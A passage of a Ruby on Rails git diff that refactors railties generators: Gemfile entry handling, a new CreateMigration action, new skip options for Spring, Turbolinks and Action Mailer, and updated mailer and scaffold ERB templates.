         if version ||= options.delete(:version)
-          parts   << version.inspect
+          parts   << quote(version)
           message << " (#{version})"
         end
         message = options[:git] if options[:git]
@@ -30,7 +30,7 @@ module Rails
         log :gemfile, message
 
         options.each do |option, value|
-          parts << "#{option}: #{value.inspect}"
+          parts << "#{option}: #{quote(value)}"
         end
 
         in_root do
@@ -61,21 +61,21 @@ module Rails
         end
       end
 
-      # Add the given source to Gemfile
+      # Add the given source to +Gemfile+
       #
       #   add_source "http://gems.github.com/"
       def add_source(source, options={})
         log :source, source
 
         in_root do
-          prepend_file "Gemfile", "source #{source.inspect}\n", verbose: false
+          prepend_file "Gemfile", "source #{quote(source)}\n", verbose: false
         end
       end
 
-      # Adds a line inside the Application class for config/application.rb.
+      # Adds a line inside the Application class for <tt>config/application.rb</tt>.
       #
-      # If options :env is specified, the line is appended to the corresponding
-      # file in config/environments.
+      # If options <tt>:env</tt> is specified, the line is appended to the corresponding
+      # file in <tt>config/environments</tt>.
       #
       #   environment do
       #     "config.autoload_paths += %W(#{config.root}/extras)"
@@ -84,10 +84,10 @@ module Rails
       #   environment(nil, env: "development") do
       #     "config.autoload_paths += %W(#{config.root}/extras)"
       #   end
-      def environment(data=nil, options={}, &block)
+      def environment(data=nil, options={})
         sentinel = /class [a-z_:]+ < Rails::Application/i
         env_file_sentinel = /Rails\.application\.configure do/
-        data = block.call if !data && block_given?
+        data = yield if !data && block_given?
 
         in_root do
           if options[:env].nil?
@@ -116,7 +116,7 @@ module Rails
         end
       end
 
-      # Create a new file in the vendor/ directory. Code can be specified
+      # Create a new file in the <tt>vendor/</tt> directory. Code can be specified
       # in a block or a data string can be given.
       #
       #   vendor("sekrit.rb") do
@@ -143,7 +143,7 @@ module Rails
         create_file("lib/#{filename}", data, verbose: false, &block)
       end
 
-      # Create a new Rakefile with the provided code (either in a block or a string).
+      # Create a new +Rakefile+ with the provided code (either in a block or a string).
       #
       #   rakefile("bootstrap.rake") do
       #     project = ask("What is the UNIX name of your project?")
@@ -188,7 +188,7 @@ module Rails
       #   generate(:authenticated, "user session")
       def generate(what, *args)
         log :generate, what
-        argument = args.map {|arg| arg.to_s }.flatten.join(" ")
+        argument = args.flat_map(&:to_s).join(" ")
 
         in_root { run_ruby_script("bin/rails generate #{what} #{argument}", verbose: false) }
       end
@@ -213,15 +213,15 @@ module Rails
         in_root { run("#{extify(:capify)} .", verbose: false) }
       end
 
-      # Make an entry in Rails routing file config/routes.rb
+      # Make an entry in Rails routing file <tt>config/routes.rb</tt>
       #
       #   route "root 'welcome#index'"
       def route(routing_code)
         log :route, routing_code
-        sentinel = /\.routes\.draw do\s*$/
+        sentinel = /\.routes\.draw do\s*\n/m
 
         in_root do
-          inject_into_file 'config/routes.rb', "\n  #{routing_code}", { after: sentinel, verbose: false }
+          inject_into_file 'config/routes.rb', "  #{routing_code}", { after: sentinel, verbose: false, force: true }
         end
       end
 
@@ -232,6 +232,16 @@ module Rails
         log File.read(find_in_source_paths(path))
       end
 
+      # Registers a callback to be executed after bundle and spring binstubs
+      # have run.
+      #
+      #   after_bundle do
+      #     git add: '.'
+      #   end
+      def after_bundle(&block)
+        @after_bundle_callbacks << block
+      end
+
       protected
 
         # Define log for backwards compatibility. If just one argument is sent,
@@ -255,6 +265,17 @@ module Rails
           end
         end
 
+        # Surround string with single quotes if there is no quotes.
+        # Otherwise fall back to double quotes
+        def quote(value)
+          return value.inspect unless value.is_a? String
+
+          if value.include?("'")
+            value.inspect
+          else
+            "'#{value}'"
+          end
+        end
     end
   end
 end
diff --git a/railties/lib/rails/generators/actions/create_migration.rb b/railties/lib/rails/generators/actions/create_migration.rb
new file mode 100644
index 0000000000..cffdef6ec9
--- /dev/null
+++ b/railties/lib/rails/generators/actions/create_migration.rb
@@ -0,0 +1,69 @@
+require 'thor/actions'
+
+module Rails
+  module Generators
+    module Actions
+      class CreateMigration < Thor::Actions::CreateFile
+
+        def migration_dir
+          File.dirname(@destination)
+        end
+
+        def migration_file_name
+          @base.migration_file_name
+        end
+
+        def identical?
+          exists? && File.binread(existing_migration) == render
+        end
+
+        def revoke!
+          say_destination = exists? ? relative_existing_migration : relative_destination
+          say_status :remove, :red, say_destination
+          return unless exists?
+          ::FileUtils.rm_rf(existing_migration) unless pretend?
+          existing_migration
+        end
+
+        def relative_existing_migration
+          base.relative_to_original_destination_root(existing_migration)
+        end
+
+        def existing_migration
+          @existing_migration ||= begin
+            @base.class.migration_exists?(migration_dir, migration_file_name) ||
+            File.exist?(@destination) && @destination
+          end
+        end
+        alias :exists? :existing_migration
+
+        protected
+
+        def on_conflict_behavior
+          options = base.options.merge(config)
+          if identical?
+            say_status :identical, :blue, relative_existing_migration
+          elsif options[:force]
+            say_status :remove, :green, relative_existing_migration
+            say_status :create, :green
+            unless pretend?
+              ::FileUtils.rm_rf(existing_migration)
+              yield
+            end
+          elsif options[:skip]
+            say_status :skip, :yellow
+          else
+            say_status :conflict, :red
+            raise Error, "Another migration is already named #{migration_file_name}: " +
+              "#{existing_migration}. Use --force to replace this migration " +
+              "or --skip to ignore conflicted file."
+          end
+        end
+
+        def say_status(status, color, message = relative_destination)
+          base.shell.say_status(status, message, color) if config[:verbose]
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/app_base.rb b/railties/lib/rails/generators/app_base.rb
index fb495c918c..253272c7dd 100644
--- a/railties/lib/rails/generators/app_base.rb
+++ b/railties/lib/rails/generators/app_base.rb
@@ -1,10 +1,10 @@
 require 'digest/md5'
-require 'securerandom'
 require 'active_support/core_ext/string/strip'
 require 'rails/version' unless defined?(Rails::VERSION)
-require 'rbconfig'
 require 'open-uri'
 require 'uri'
+require 'rails/generators'
+require 'active_support/core_ext/array/extract_options'
 
 module Rails
   module Generators
@@ -18,6 +18,10 @@ module Rails
 
       argument :app_path, type: :string
 
+      def self.strict_args_position
+        false
+      end
+
       def self.add_shared_options_for(name)
         class_option :template,           type: :string, aliases: '-m',
                                           desc: "Path to some #{name} template (can be a filesystem path or URL)"
@@ -34,15 +38,19 @@ module Rails
         class_option :skip_keeps,         type: :boolean, default: false,
                                           desc: 'Skip source control .keep files'
 
+        class_option :skip_action_mailer, type: :boolean, aliases: "-M",
+                                          default: false,
+                                          desc: "Skip Action Mailer files"
+
         class_option :skip_active_record, type: :boolean, aliases: '-O', default: false,
                                           desc: 'Skip Active Record files'
 
-        class_option :skip_action_view,   type: :boolean, aliases: '-V', default: false,
-                                          desc: 'Skip Action View files'
-
         class_option :skip_sprockets,     type: :boolean, aliases: '-S', default: false,
                                           desc: 'Skip Sprockets files'
 
+        class_option :skip_spring,        type: :boolean, default: false,
+                                          desc: "Don't install Spring application preloader"
+
         class_option :database,           type: :string, aliases: '-d', default: 'sqlite3',
                                           desc: "Preconfigure for selected database (options: #{DATABASES.join('/')})"
 
@@ -58,8 +66,11 @@ module Rails
         class_option :edge,               type: :boolean, default: false,
                                           desc: "Setup the #{name} with Gemfile pointing to Rails repository"
 
-        class_option :skip_test_unit,     type: :boolean, aliases: '-T', default: false,
-                                          desc: 'Skip Test::Unit files'
+        class_option :skip_turbolinks,    type: :boolean, default: false,
+                                          desc: 'Skip turbolinks gem'
+
+        class_option :skip_test,          type: :boolean, aliases: '-T', default: false,
+                                          desc: 'Skip test files'
 
         class_option :rc,                 type: :string, default: false,
                                           desc: "Path to file containing extra configuration options for rails command"
@@ -72,17 +83,50 @@ module Rails
       end
 
       def initialize(*args)
-        @original_wd = Dir.pwd
+        @gem_filter    = lambda { |gem| true }
+        @extra_entries = []
         super
         convert_database_option_for_jruby
       end
 
     protected
 
+      def gemfile_entry(name, *args)
+        options = args.extract_options!
+        version = args.first
+        github = options[:github]
+        path   = options[:path]
+
+        if github
+          @extra_entries << GemfileEntry.github(name, github)
+        elsif path
+          @extra_entries << GemfileEntry.path(name, path)
+        else
+          @extra_entries << GemfileEntry.version(name, version)
+        end
+        self
+      end
+
+      def gemfile_entries
+        [rails_gemfile_entry,
+         database_gemfile_entry,
+         assets_gemfile_entry,
+         javascript_gemfile_entry,
+         jbuilder_gemfile_entry,
+         psych_gemfile_entry,
+         @extra_entries].flatten.find_all(&@gem_filter)
+      end
+
+      def add_gem_entry_filter
+        @gem_filter = lambda { |next_filter, entry|
+          yield(entry) && next_filter.call(entry)
+        }.curry[@gem_filter]
+      end
+
       def builder
         @builder ||= begin
           builder_class = get_builder_class
-          builder_class.send(:include, ActionMethods)
+          builder_class.include(ActionMethods)
           builder_class.new(self)
         end
       end
@@ -92,11 +136,9 @@ module Rails
       end
 
       def create_root
-        self.destination_root = File.expand_path(app_path, destination_root)
         valid_const?
 
         empty_directory '.'
-        set_default_accessors!
         FileUtils.cd(destination_root) unless options[:pretend]
       end
 
@@ -107,6 +149,7 @@ module Rails
       end
 
       def set_default_accessors!
+        self.destination_root = File.expand_path(app_path, destination_root)
         self.rails_template = case options[:template]
           when /^https?:\/\//
             options[:template]
@@ -118,37 +161,60 @@ module Rails
       end
 
       def database_gemfile_entry
-        options[:skip_active_record] ? "" :
-          <<-GEMFILE.strip_heredoc
-            # Use #{options[:database]} as the database for Active Record
-            gem '#{gem_for_database}'
-          GEMFILE
+        return [] if options[:skip_active_record]
+        GemfileEntry.version gem_for_database, nil,
+                            "Use #{options[:database]} as the database for Active Record"
       end
 
       def include_all_railties?
-        !options[:skip_active_record] && !options[:skip_action_view] && !options[:skip_test_unit] && !options[:skip_sprockets]
+        options.values_at(:skip_active_record, :skip_action_mailer, :skip_test, :skip_sprockets).none?
       end
 
       def comment_if(value)
         options[value] ? '# ' : ''
       end
 
+      def sqlite3?
+        !options[:skip_active_record] && options[:database] == 'sqlite3'
+      end
+
+      class GemfileEntry < Struct.new(:name, :version, :comment, :options, :commented_out)
+        def initialize(name, version, comment, options = {}, commented_out = false)
+          super
+        end
+
+        def self.github(name, github, branch = nil, comment = nil)
+          if branch
+            new(name, nil, comment, github: github, branch: branch)
+          else
+            new(name, nil, comment, github: github)
+          end
+        end
+
+        def self.version(name, version, comment = nil)
+          new(name, version, comment)
+        end
+
+        def self.path(name, path, comment = nil)
+          new(name, nil, comment, path: path)
+        end
+      end
+
       def rails_gemfile_entry
         if options.dev?
-          <<-GEMFILE.strip_heredoc
-            gem 'rails',     path: '#{Rails::Generators::RAILS_DEV_PATH}'
-            gem 'arel',      github: 'rails/arel'
-          GEMFILE
+          [
+            GemfileEntry.path('rails', Rails::Generators::RAILS_DEV_PATH),
+            GemfileEntry.github('arel', 'rails/arel')
+          ]
         elsif options.edge?
-          <<-GEMFILE.strip_heredoc
-            gem 'rails',     github: 'rails/rails'
-            gem 'arel',      github: 'rails/arel'
-          GEMFILE
+          [
+            GemfileEntry.github('rails', 'rails/rails'),
+            GemfileEntry.github('arel', 'rails/arel')
+          ]
         else
-          <<-GEMFILE.strip_heredoc
-            # Bundle edge Rails instead: gem 'rails', github: 'rails/rails'
-            gem 'rails', '#{Rails::VERSION::STRING}'
-          GEMFILE
+          [GemfileEntry.version('rails',
+                            Rails::VERSION::STRING,
+                            "Bundle edge Rails instead: gem 'rails', github: 'rails/rails'")]
         end
       end
 
@@ -180,77 +246,65 @@ module Rails
       end
 
       def assets_gemfile_entry
-        return if options[:skip_sprockets]
-
-        gemfile = if options.dev? || options.edge?
-          <<-GEMFILE.strip_heredoc
-            # Use edge version of sprockets-rails
-            gem 'sprockets-rails', github: 'rails/sprockets-rails'
-
-            # Use SCSS for stylesheets
-            gem 'sass-rails', github: 'rails/sass-rails'
-          GEMFILE
-        else
-          <<-GEMFILE.strip_heredoc
-            # Use SCSS for stylesheets
-            gem 'sass-rails', '~> 4.0.0.rc1'
-          GEMFILE
-        end
+        return [] if options[:skip_sprockets]
 
-        gemfile += <<-GEMFILE.strip_heredoc
+        gems = []
+        gems << GemfileEntry.version('sass-rails', '~> 5.0',
+                                     'Use SCSS for stylesheets')
 
-          # Use Uglifier as compressor for JavaScript assets
-          gem 'uglifier', '>= 1.3.0'
-        GEMFILE
+        gems << GemfileEntry.version('uglifier',
+                                   '>= 1.3.0',
+                                   'Use Uglifier as compressor for JavaScript assets')
 
-        if options[:skip_javascript]
-          gemfile += <<-GEMFILE
-            #{coffee_gemfile_entry}
-            #{javascript_runtime_gemfile_entry}
-          GEMFILE
-        end
+        gems
+      end
 
-        gemfile.gsub(/^[ \t]+/, '')
+      def jbuilder_gemfile_entry
+        comment = 'Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder'
+        GemfileEntry.version('jbuilder', '~> 2.0', comment)
       end
 
       def coffee_gemfile_entry
+        comment = 'Use CoffeeScript for .coffee assets and views'
         if options.dev? || options.edge?
-          <<-GEMFILE
-            # Use CoffeeScript for .js.coffee assets and views
-            gem 'coffee-rails', github: 'rails/coffee-rails'
-          GEMFILE
+          GemfileEntry.github 'coffee-rails', 'rails/coffee-rails', nil, comment
         else
-          <<-GEMFILE
-            # Use CoffeeScript for .js.coffee assets and views
-            gem 'coffee-rails', '~> 4.0.0'
-          GEMFILE
+          GemfileEntry.version 'coffee-rails', '~> 4.1.0', comment
         end
       end
 
       def javascript_gemfile_entry
-        unless options[:skip_javascript]
-          <<-GEMFILE.gsub(/^[ \t]+/, '')
-            #{coffee_gemfile_entry}
-            #{javascript_runtime_gemfile_entry}
-            # Use #{options[:javascript]} as the JavaScript library
-            gem '#{options[:javascript]}-rails'
-
-            # Turbolinks makes following links in your web application faster. Read more: https://github.com/rails/turbolinks
-            gem 'turbolinks'
-          GEMFILE
+        if options[:skip_javascript]
+          []
+        else
+          gems = [coffee_gemfile_entry, javascript_runtime_gemfile_entry]
+          gems << GemfileEntry.version("#{options[:javascript]}-rails", nil,
+                                       "Use #{options[:javascript]} as the JavaScript library")
+
+          unless options[:skip_turbolinks]
+            gems << GemfileEntry.version("turbolinks", nil,
+             "Turbolinks makes following links in your web application faster. Read more: https://github.com/rails/turbolinks")
+          end
+
+          gems
         end
       end
 
       def javascript_runtime_gemfile_entry
-        runtime = if defined?(JRUBY_VERSION)
-          "gem 'therubyrhino'"
+        comment = 'See https://github.com/sstephenson/execjs#readme for more supported runtimes'
+        if defined?(JRUBY_VERSION)
+          GemfileEntry.version 'therubyrhino', nil, comment
         else
-          "# gem 'therubyracer', platforms: :ruby"
+          GemfileEntry.new 'therubyracer', nil, comment, { platforms: :ruby }, true
         end
-        <<-GEMFILE
-          # See https://github.com/sstephenson/execjs#readme for more supported runtimes
-          #{runtime}
-        GEMFILE
+      end
+
+      def psych_gemfile_entry
+        return [] unless defined?(Rubinius)
+
+        comment = 'Use Psych as the YAML engine, instead of Syck, so serialized ' \
+                  'data can be read safely from different rubies (see http://git.io/uuLVag)'
+        GemfileEntry.new('psych', '~> 2.0', comment, platforms: :rbx)
       end
 
       def bundle_command(command)
@@ -272,12 +326,27 @@ module Rails
 
         require 'bundler'
         Bundler.with_clean_env do
-          print `"#{Gem.ruby}" "#{_bundle_command}" #{command}`
+          output = `"#{Gem.ruby}" "#{_bundle_command}" #{command}`
+          print output unless options[:quiet]
         end
       end
 
+      def bundle_install?
+        !(options[:skip_gemfile] || options[:skip_bundle] || options[:pretend])
+      end
+
+      def spring_install?
+        !options[:skip_spring] && Process.respond_to?(:fork) && !RUBY_PLATFORM.include?("cygwin")
+      end
+
       def run_bundle
-        bundle_command('install') unless options[:skip_gemfile] || options[:skip_bundle] || options[:pretend]
+        bundle_command('install') if bundle_install?
+      end
+
+      def generate_spring_binstubs
+        if bundle_install? && spring_install?
+          bundle_command("exec spring binstub --all")
+        end
       end
 
       def empty_directory_with_keep_file(destination, config = {})
diff --git a/railties/lib/rails/generators/base.rb b/railties/lib/rails/generators/base.rb
index 8aec8bc8f9..813b8b629e 100644
--- a/railties/lib/rails/generators/base.rb
+++ b/railties/lib/rails/generators/base.rb
@@ -7,8 +7,6 @@ rescue LoadError
   exit
 end
 
-require 'rails/generators/actions'
-
 module Rails
   module Generators
     class Error < Thor::Error # :nodoc:
@@ -85,7 +83,7 @@ module Rails
       #
       # The first and last part used to find the generator to be invoked are
       # guessed based on class invokes hook_for, as noticed in the example above.
-      # This can be customized with two options: :base and :as.
+      # This can be customized with two options: :in and :as.
       #
       # Let's suppose you are creating a generator that needs to invoke the
       # controller generator from test unit. Your first attempt is:
@@ -110,7 +108,7 @@ module Rails
       #   "test_unit:controller", "test_unit"
       #
       # Similarly, if you want it to also lookup in the rails namespace, you just
-      # need to provide the :base value:
+      # need to provide the :in value:
       #
       #   class AwesomeGenerator < Rails::Generators::Base
       #     hook_for :test_framework, in: :rails, as: :controller
@@ -211,7 +209,7 @@ module Rails
         return unless base_name && generator_name
         return unless default_generator_root
         path = File.join(default_generator_root, 'templates')
-        path if File.exists?(path)
+        path if File.exist?(path)
       end
 
       # Returns the base root for a common set of generators. This is used to dynamically
@@ -275,7 +273,7 @@ module Rails
 
         # Use Rails default banner.
         def self.banner
-          "rails generate #{namespace.sub(/^rails:/,'')} #{self.arguments.map{ |a| a.usage }.join(' ')} [options]".gsub(/\s+/, ' ')
+          "rails generate #{namespace.sub(/^rails:/,'')} #{self.arguments.map(&:usage).join(' ')} [options]".gsub(/\s+/, ' ')
         end
 
         # Sets the base_name taking into account the current class namespace.
@@ -298,7 +296,7 @@ module Rails
           end
         end
 
-        # Return the default value for the option name given doing a lookup in
+        # Returns the default value for the option name given doing a lookup in
         # Rails::Generators.options.
         def self.default_value_for_option(name, options)
           default_for_option(Rails::Generators.options, name, options, options[:default])
@@ -368,12 +366,12 @@ module Rails
             source_root && File.expand_path("../USAGE", source_root),
             default_generator_root && File.join(default_generator_root, "USAGE")
           ]
-          paths.compact.detect { |path| File.exists? path }
+          paths.compact.detect { |path| File.exist? path }
         end
 
         def self.default_generator_root
           path = File.expand_path(File.join(base_name, generator_name), base_root)
-          path if File.exists?(path)
+          path if File.exist?(path)
         end
 
     end
diff --git a/railties/lib/rails/generators/erb.rb b/railties/lib/rails/generators/erb.rb
index 73e986ee7f..0755ac335c 100644
--- a/railties/lib/rails/generators/erb.rb
+++ b/railties/lib/rails/generators/erb.rb
@@ -5,6 +5,10 @@ module Erb # :nodoc:
     class Base < Rails::Generators::NamedBase #:nodoc:
       protected
 
+      def formats
+        [format]
+      end
+
       def format
         :html
       end
@@ -13,7 +17,7 @@ module Erb # :nodoc:
         :erb
       end
 
-      def filename_with_extensions(name)
+      def filename_with_extensions(name, format = self.format)
         [name, format, handler].compact.join(".")
       end
     end
diff --git a/railties/lib/rails/generators/erb/controller/controller_generator.rb b/railties/lib/rails/generators/erb/controller/controller_generator.rb
index 5f06734ab8..94c1b835d1 100644
--- a/railties/lib/rails/generators/erb/controller/controller_generator.rb
+++ b/railties/lib/rails/generators/erb/controller/controller_generator.rb
@@ -11,8 +11,10 @@ module Erb # :nodoc:
 
         actions.each do |action|
           @action = action
-          @path = File.join(base_path, filename_with_extensions(action))
-          template filename_with_extensions(:view), @path
+          formats.each do |format|
+            @path = File.join(base_path, filename_with_extensions(action, format))
+            template filename_with_extensions(:view, format), @path
+          end
         end
       end
     end
diff --git a/railties/lib/rails/generators/erb/mailer/mailer_generator.rb b/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
index 7bcac30dde..7d27321610 100644
--- a/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
+++ b/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
@@ -1,12 +1,35 @@
-require 'rails/generators/erb/controller/controller_generator'
+require 'rails/generators/erb'
 
 module Erb # :nodoc:
   module Generators # :nodoc:
-    class MailerGenerator < ControllerGenerator # :nodoc:
+    class MailerGenerator < Base # :nodoc:
+      argument :actions, type: :array, default: [], banner: "method method"
+
+      def copy_view_files
+        view_base_path = File.join("app/views", class_path, file_name)
+        empty_directory view_base_path
+
+        if self.behavior == :invoke
+          formats.each do |format|
+            layout_path = File.join("app/views/layouts", filename_with_extensions("mailer", format))
+            template filename_with_extensions(:layout, format), layout_path
+          end
+        end
+
+        actions.each do |action|
+          @action = action
+
+          formats.each do |format|
+            @path = File.join(view_base_path, filename_with_extensions(action, format))
+            template filename_with_extensions(:view, format), @path
+          end
+        end
+      end
+
       protected
 
-      def format
-        :text
+      def formats
+        [:text, :html]
       end
     end
   end
diff --git a/railties/lib/rails/generators/erb/mailer/templates/layout.html.erb b/railties/lib/rails/generators/erb/mailer/templates/layout.html.erb
new file mode 100644
index 0000000000..93110e74ad
--- /dev/null
+++ b/railties/lib/rails/generators/erb/mailer/templates/layout.html.erb
@@ -0,0 +1,5 @@
+<html>
+  <body>
+    <%%= yield %>
+  </body>
+</html>
diff --git a/railties/lib/rails/generators/erb/mailer/templates/layout.text.erb b/railties/lib/rails/generators/erb/mailer/templates/layout.text.erb
new file mode 100644
index 0000000000..6363733e6e
--- /dev/null
+++ b/railties/lib/rails/generators/erb/mailer/templates/layout.text.erb
@@ -0,0 +1 @@
+<%%= yield %>
diff --git a/railties/lib/rails/generators/erb/mailer/templates/view.html.erb b/railties/lib/rails/generators/erb/mailer/templates/view.html.erb
new file mode 100644
index 0000000000..b5045671b3
--- /dev/null
+++ b/railties/lib/rails/generators/erb/mailer/templates/view.html.erb
@@ -0,0 +1,5 @@
+<h1><%= class_name %>#<%= @action %></h1>
+
+<p>
+  <%%= @greeting %>, find me in <%= @path %>
+</p>
diff --git a/railties/lib/rails/generators/erb/mailer/templates/view.text.erb b/railties/lib/rails/generators/erb/mailer/templates/view.text.erb
index 6d597256a6..342285df19 100644
--- a/railties/lib/rails/generators/erb/mailer/templates/view.text.erb
+++ b/railties/lib/rails/generators/erb/mailer/templates/view.text.erb
@@ -1,3 +1,3 @@
 <%= class_name %>#<%= @action %>
 
-<%%= @greeting %>, find me in app/views/<%= @path %>
+<%%= @greeting %>, find me in <%= @path %>
diff --git a/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
index bacbc2d280..c94829a0ae 100644
--- a/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
+++ b/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
@@ -14,8 +14,10 @@ module Erb # :nodoc:
 
       def copy_view_files
         available_views.each do |view|
-          filename = filename_with_extensions(view)
-          template filename, File.join("app/views", controller_file_path, filename)
+          formats.each do |format|
+            filename = filename_with_extensions(view, format)
+            template filename, File.join("app/views", controller_file_path, filename)
+          end
         end
       end
 
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb
index 69c10efa47..d9713b0238 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb
+++ b/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb
@@ -1,11 +1,11 @@
-<%%= form_for(@<%= singular_table_name %>) do |f| %>
-  <%% if @<%= singular_table_name %>.errors.any? %>
+<%%= form_for(<%= singular_table_name %>) do |f| %>
+  <%% if <%= singular_table_name %>.errors.any? %>
     <div id="error_explanation">
-      <h2><%%= pluralize(@<%= singular_table_name %>.errors.count, "error") %> prohibited this <%= singular_table_name %> from being saved:</h2>
+      <h2><%%= pluralize(<%= singular_table_name %>.errors.count, "error") %> prohibited this <%= singular_table_name %> from being saved:</h2>
 
       <ul>
-      <%% @<%= singular_table_name %>.errors.full_messages.each do |msg| %>
-        <li><%%= msg %></li>
+      <%% <%= singular_table_name %>.errors.full_messages.each do |message| %>
+        <li><%%= message %></li>
       <%% end %>
       </ul>
     </div>
@@ -17,17 +17,12 @@
     <%%= f.label :password %><br>
     <%%= f.password_field :password %>
   </div>
-  <div>
+  <div class="field">
     <%%= f.label :password_confirmation %><br>
     <%%= f.password_field :password_confirmation %>
 <% else -%>
-  <%- if attribute.reference? -%>
     <%%= f.label :<%= attribute.column_name %> %><br>
     <%%= f.<%= attribute.field_type %> :<%= attribute.column_name %> %>
-  <%- else -%>
-    <%%= f.label :<%= attribute.name %> %><br>
-    <%%= f.<%= attribute.field_type %> :<%= attribute.name %> %>
-  <%- end -%>
 <% end -%>
   </div>
 <% end -%>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb
index e58b9fbd08..81329473d9 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb
+++ b/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb
@@ -1,6 +1,6 @@
-<h1>Editing <%= singular_table_name %></h1>
+<h1>Editing <%= singular_table_name.titleize %></h1>
 
-<%%= render 'form' %>
+<%%= render 'form', <%= singular_table_name %>: @<%= singular_table_name %> %>
 
 <%%= link_to 'Show', @<%= singular_table_name %> %> |
 <%%= link_to 'Back', <%= index_helper %>_path %>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
index 814d6fdb0e..c3b8ef1181 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
+++ b/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
@@ -1,4 +1,6 @@
-<h1>Listing <%= plural_table_name %></h1>
+<p id="notice"><%%= notice %></p>
+
+<h1><%= plural_table_name.titleize %></h1>
 
 <table>
   <thead>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb
index 02ae4d015e..9b2b2f4875 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb
+++ b/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb
@@ -1,5 +1,5 @@
-<h1>New <%= singular_table_name %></h1>
+<h1>New <%= singular_table_name.titleize %></h1>
 
-<%%= render 'form' %>
+<%%= render 'form', <%= singular_table_name %>: @<%= singular_table_name %> %>
 
 <%%= link_to 'Back', <%= index_helper %>_path %>
diff --git a/railties/lib/rails/generators/generated_attribute.rb b/railties/lib/rails/generators/generated_attribute.rb
index 5e2784c4b0..8145a26e22 100644
--- a/railties/lib/rails/generators/generated_attribute.rb
+++ b/railties/lib/rails/generators/generated_attribute.rb
@@ -44,8 +44,11 @@ module Rails
             return $1, limit: $2.to_i
           when /decimal\{(\d+)[,.-](\d+)\}/
             return :decimal, precision: $1.to_i, scale: $2.to_i
-          when /(references|belongs_to)\{polymorphic\}/
-            return $1, polymorphic: true
+          when /(references|belongs_to)\{(.+)\}/
+            type = $1
+            provided_options = $2.split(/[,.-]/)
+            options = Hash[provided_options.map { |opt| [opt.to_sym, true] }]
+            return type, options
           else
             return type, {}
           end
@@ -94,6 +97,10 @@ module Rails
         name.sub(/_id$/, '').pluralize
       end
 
+      def singular_name
+        name.sub(/_id$/, '').singularize
+      end
+
       def human_name
         name.humanize
       end
@@ -119,7 +126,11 @@ module Rails
       end
 
       def polymorphic?
-        self.attr_options.has_key?(:polymorphic)
+        self.attr_options[:polymorphic]
+      end
+
+      def required?
+        self.attr_options[:required]
       end
 
       def has_index?
@@ -131,16 +142,33 @@ module Rails
       end
 
       def password_digest?
-        name == 'password' && type == :digest 
+        name == 'password' && type == :digest
+      end
+
+      def token?
+        type == :token
       end
 
       def inject_options
-        "".tap { |s| @attr_options.each { |k,v| s << ", #{k}: #{v.inspect}" } }
+        "".tap { |s| options_for_migration.each { |k,v| s << ", #{k}: #{v.inspect}" } }
       end
 
       def inject_index_options
         has_uniq_index? ? ", unique: true" : ""
       end
+
+      def options_for_migration
+        @attr_options.dup.tap do |options|
+          if required?
+            options.delete(:required)
+            options[:null] = false
+          end
+
+          if reference? && !polymorphic?
+            options[:foreign_key] = true
+          end
+        end
+      end
     end
   end
 end
diff --git a/railties/lib/rails/generators/migration.rb b/railties/lib/rails/generators/migration.rb
index 3566f96f5e..51e6d68bf0 100644
--- a/railties/lib/rails/generators/migration.rb
+++ b/railties/lib/rails/generators/migration.rb
@@ -1,9 +1,10 @@
 require 'active_support/concern'
+require 'rails/generators/actions/create_migration'
 
 module Rails
   module Generators
-    # Holds common methods for migrations. It assumes that migrations has the
-    # [0-9]*_name format and can be used by another frameworks (like Sequel)
+    # Holds common methods for migrations. It assumes that migrations have the
+    # [0-9]*_name format and can be used by other frameworks (like Sequel)
     # just by implementing the next migration version method.
     module Migration
       extend ActiveSupport::Concern
@@ -29,6 +30,19 @@ module Rails
         end
       end
 
+      def create_migration(destination, data, config = {}, &block)
+        action Rails::Generators::Actions::CreateMigration.new(self, destination, block || data.to_s, config)
+      end
+
+      def set_migration_assigns!(destination)
+        destination = File.expand_path(destination, self.destination_root)
+
+        migration_dir = File.dirname(destination)
+        @migration_number     = self.class.next_migration_number(migration_dir)
+        @migration_file_name  = File.basename(destination, '.rb')
+        @migration_class_name = @migration_file_name.camelize
+      end
+
       # Creates a migration template at the given destination. The difference
       # to the default template method is that the migration version is appended
       # to the destination file name.
@@ -37,26 +51,18 @@ module Rails
       # available as instance variables in the template to be rendered.
       #
       #   migration_template "migration.rb", "db/migrate/add_foo_to_bar.rb"
-      def migration_template(source, destination=nil, config={})
-        destination = File.expand_path(destination || source, self.destination_root)
+      def migration_template(source, destination, config = {})
+        source  = File.expand_path(find_in_source_paths(source.to_s))
 
-        migration_dir = File.dirname(destination)
-        @migration_number     = self.class.next_migration_number(migration_dir)
-        @migration_file_name  = File.basename(destination).sub(/\.rb$/, '')
-        @migration_class_name = @migration_file_name.camelize
+        set_migration_assigns!(destination)
+        context = instance_eval('binding')
 
-        destination = self.class.migration_exists?(migration_dir, @migration_file_name)
+        dir, base = File.split(destination)
+        numbered_destination = File.join(dir, ["%migration_number%", base].join('_'))
 
-        if !(destination && options[:skip]) && behavior == :invoke
-          if destination && options.force?
-            remove_file(destination)
-          elsif destination
-            raise Error, "Another migration is already named #{@migration_file_name}: #{destination}. Use --force to remove the old migration file and replace it."
-          end
